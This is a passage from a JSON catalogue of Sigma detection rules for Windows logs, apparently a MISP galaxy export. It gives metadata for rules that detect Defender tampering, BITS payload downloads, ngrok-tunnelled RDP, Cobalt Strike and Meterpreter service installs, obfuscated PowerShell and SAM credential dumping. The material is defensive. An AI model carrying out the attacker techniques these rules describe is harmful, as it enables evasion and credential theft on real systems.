"refs": [ "https://answers.microsoft.com/en-us/protect/forum/mse-protect_scanning/microsoft-antimalware-has-removed-history-of/f15af6c9-01a9-4065-8c6c-3f2bdc7de45e", "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", "value": "Windows Defender Malware Detection History Deletion" }, { "description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Unlikely" ], "filename": "win_defender_exploit_guard_tamper.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "a3ab73f1-bd46-4319-8f06-4b20d0617886", "value": "Windows Defender Exploit Guard Tamper" }, { "description": "Detects triggering of AMSI by Windows Defender.", "meta": { "author": "Bhabesh Raj", "creation_date": "2020/09/14", "falsepositive": [ "Unlikely" ], "filename": "win_defender_amsi_trigger.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ea9bf0fa-edec-4fb8-8b78-b119f2528186", "value": "Windows Defender AMSI Trigger Detected" }, { "description": "Detects all actions taken by Windows Defender malware detection engines", "meta": { "author": "Ján Trenčanský", "creation_date": "2020/07/28", "falsepositive": [ "Unlikely" ], "filename": "win_defender_threat.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "57b649ef-ff42-4fb0-8bf6-62da243a1708", "value": "Windows Defender Threat Detected" }, { "description": "Detects suspicious changes to the windows defender configuration", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/06", "falsepositive": [ "Administrator activity (must be investigated)" ], "filename": "win_defender_suspicious_features_tampering.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware", "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_suspicious_features_tampering.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "801bd44f-ceed-4eb6-887c-11544633c0aa", "value": "Windows Defender Suspicious Configuration Changes" }, { "description": "Detects the restoration of files from the defender quarantine", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/06", "falsepositive": [ "Legitimate administrator activity restoring a file" ], "filename": "win_defender_restored_quarantine_file.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_restored_quarantine_file.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "bc92ca75-cd42-4d61-9a37-9d5aa259c88b", "value": "Win Defender Restored Quarantine File" }, { "description": "Detects a suspicious download using the BITS client from a direct IP. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "win_bits_client_direct_ip_access.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://isc.sans.edu/diary/22264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_direct_ip_access.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "90f138c1-f578-4ac3-8c49-eecfd847c8b7", "value": "Suspicious Download with BITS from Direct IP" }, { "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", "meta": { "author": "frack113", "creation_date": "2022/03/01", "falsepositive": [ "Administrator PowerShell scripts" ], "filename": "win_bits_client_susp_local_file.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521", "value": "Suspicious Download File Extension with BITS" }, { "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", "meta": { "author": "frack113", "creation_date": "2022/03/01", "falsepositive": [ "Administrator PowerShell scripts" ], "filename": "win_bits_client_susp_powershell_job.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_powershell_job.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb", "value": "Suspicious Task Added by Powershell" }, { "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", "meta": { "author": "frack113", "creation_date": "2022/03/01", "falsepositive": [ "Administrator PowerShell scripts" ], "filename": "win_bits_client_susp_use_bitsadmin.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_use_bitsadmin.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39", "value": "Suspicious Task Added by Bitsadmin" }, { "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Administrator PowerShell scripts" ], "filename": "win_bits_client_susp_local_folder.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_folder.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05", "value": "Download with BITS to Suspicious Folder" }, { "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "meta": { "author": "Florian Roth", "creation_date": "2022/06/28", "falsepositive": [ "Unknown" ], "filename": "win_bits_client_susp_domain.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://twitter.com/malmoeb/status/1535142803075960832", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586", "value": "Suspicious Download with BITS from Suspicious TLD" }, { "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "meta": { "author": "Florian Roth", "creation_date": "2022/06/10", "falsepositive": [ "Other legitimate domains used by software updaters" ], "filename": "win_bits_client_uncommon_domain.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://twitter.com/malmoeb/status/1535142803075960832", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml" ], "tags": [ "attack.defense_evasion", "attack.persistence", "attack.t1197" ] }, "related": [ { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427", "value": "Suspicious Uncommon Download with BITS from Suspicious TLD" }, { "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", "meta": { "author": "Florian Roth", "creation_date": "2022/04/29", "falsepositive": [ "Unknown" ], "filename": "win_terminalservices_rdp_ngrok.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://ngrok.com/", "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" ], "tags": [ "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272", "value": "Ngrok Usage with Remote Desktop Service" }, { "description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", "meta": { "author": "Florian Roth", "creation_date": "2017/05/08", "falsepositive": [ "Unknown" ], "filename": "win_dns_server_susp_dns_config.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", "https://twitter.com/gentilkiwi/status/861641945944391680", "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_susp_dns_config.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "cbe51394-cd93-4473-b555-edf0144952d9", "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL" }, { "description": "Detects the use of smbexec.py tool by detecting a specific service installation", "meta": { "author": "Omer Faruk Celik", "creation_date": "2018/03/20", "falsepositive": [ "Unknown" ], "filename": "win_system_hack_smbexec.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_hack_smbexec.yml" ], "tags": [ "attack.lateral_movement", "attack.execution", "attack.t1021.002", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "52a85084-6989-40c3-8f32-091e12e13f09", "value": "smbexec.py Service Installation" }, { "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_stdin_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "487c7524-f892-4054-b263-8a0ace63fc25", "value": "Invoke-Obfuscation Via Stdin - System" }, { "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", "meta": { "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", "creation_date": "2019/10/26", "falsepositive": [ "Highly unlikely" ], "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1134.001", "attack.t1134.002" ] }, "related": [ { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6", "value": "Meterpreter or Cobalt Strike Getsystem Service Installation - System" }, { "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value", "meta": { "author": "Florian Roth", "creation_date": "2022/07/05", "falsepositive": [ "Unknown" ], "filename": "win_system_service_install_susp_double_ampersand.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53", "value": "New Service Uses Double Ampersand in Path" }, { "description": "Detects Windows Pcap driver installation based on a list of associated .sys files.", "meta": { "author": "Cian Heasley", "creation_date": "2020/06/10", "falsepositive": [ "Unknown" ], "filename": "win_system_pcap_drivers.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_pcap_drivers.yml" ], "tags": [ "attack.discovery", "attack.credential_access", "attack.t1040" ] }, "uuid": "7b687634-ab20-11ea-bb37-0242ac130002", "value": "Windows Pcap Drivers" }, { "description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform", "meta": { "author": "Connor Martin, Nasreddine Bencherchali", "creation_date": "2022/12/23", "falsepositive": [ "Unknown" ], "filename": "win_system_service_install_remote_access_software.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_access_software.yml" ], "tags": [ "attack.persistence", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a31b18a-f00c-4061-9900-f735b96c99fc", "value": "Remote Access Tool Services Have Been Installed - System" }, { "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", "meta": { "author": "Florian Roth", "creation_date": "2022/11/09", "falsepositive": [ "Unknown" ], "filename": "win_system_kdcsvc_rc4_downgrade.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_kdcsvc_rc4_downgrade.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", "value": "KDC RC4-HMAC Downgrade CVE-2022-37966" }, { "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/11", "falsepositive": [ "Legitimate usage of the anydesk tool" ], "filename": "win_system_service_install_anydesk.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_anydesk.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5", "value": "Anydesk Remote Access Software Service Installation" }, { "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/22", "falsepositive": [ "Legitimate use of the tool" ], "filename": "win_system_service_install_pdqdeploy_runner.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_pdqdeploy_runner.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648", "value": "New PDQDeploy Service - Client Side" }, { "description": "Windows Update get some error Check if need a 0-days KB", "meta": { "author": "frack113", "creation_date": "2021/12/04", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_system_update_error.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_system_update_error.yml" ], "tags": [ "attack.impact", "attack.resource_development", "attack.t1584" ] }, "related": [ { "dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59", "value": "Windows Update Error" }, { "description": "Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services", "meta": { "author": "Florian Roth", "creation_date": "2017/03/08", "falsepositive": [ "Software installation", "Software updates" ], "filename": "win_system_rare_service_installs.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rare_service_installs.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "car.2013-09-005", "attack.t1543.003" ] }, "uuid": "66bfef30-22a5-4fcd-ad44-8d81e60922ae", "value": "Rare Service Installations" }, { "description": "Detects PAExec service installation", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/26", "falsepositive": [ "Unknown" ], "filename": "win_system_service_install_paexec.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.poweradmin.com/paexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420", "value": "PAExec Service Installation" }, { "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_rundll_services.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9", "value": "Invoke-Obfuscation RUNDLL LAUNCHER - System" }, { "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b", "value": "Invoke-Obfuscation Via Use Rundll32 - System" }, { "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/15", "falsepositive": [ "Unknown" ], "filename": "win_system_system_service_installation_by_unusal_client.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_system_service_installation_by_unusal_client.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5", "value": "Service Installed By Unusual Client - System" }, { "description": "Detects powershell script installed as a Service", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "win_system_powershell_script_installed_as_service.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_powershell_script_installed_as_service.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a2e5019d-a658-4c6a-92bf-7197b54e2cae", "value": "PowerShell Scripts Installed as Services" }, { "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", "meta": { "author": "Florian Roth, Wojciech Lesicki", "creation_date": "2021/05/26", "falsepositive": [ "Unknown" ], "filename": "win_system_cobaltstrike_service_installs.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", "https://www.sans.org/webcasts/119395", "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.lateral_movement", "attack.t1021.002", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5a105d34-05fc-401e-8553-272b45c1522d", "value": "CobaltStrike Service Installations - System" }, { "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", "meta": { "author": "Florian Roth", "creation_date": "2018/01/27", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_sam_dump.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_sam_dump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd", "value": "SAM Dump to AppData" }, { "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", "meta": { "author": "Dimitrios Slamaris", "creation_date": "2017/05/15", "falsepositive": [ "Unknown" ], "filename": "win_system_susp_dhcp_config.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "13fc89a9-971e-4ca6-b9dc-aa53a445bf40", "value": "DHCP Server Loaded the CallOut DLL" }, { "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "win_system_invoke_obfuscation_via_compress_services.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "175997c5-803c-4b08-8bb0-70b099f47595", "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - System" }, { "description": "Detects PsExec service installation and execution events (service and Sysmon)", "meta": { "author": "Florian Roth", "creation_date": "2022/03/21", "falsepositive": [ "Unknown" ], "filename": "win_system_service_install_hacktools.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "Internal Research", 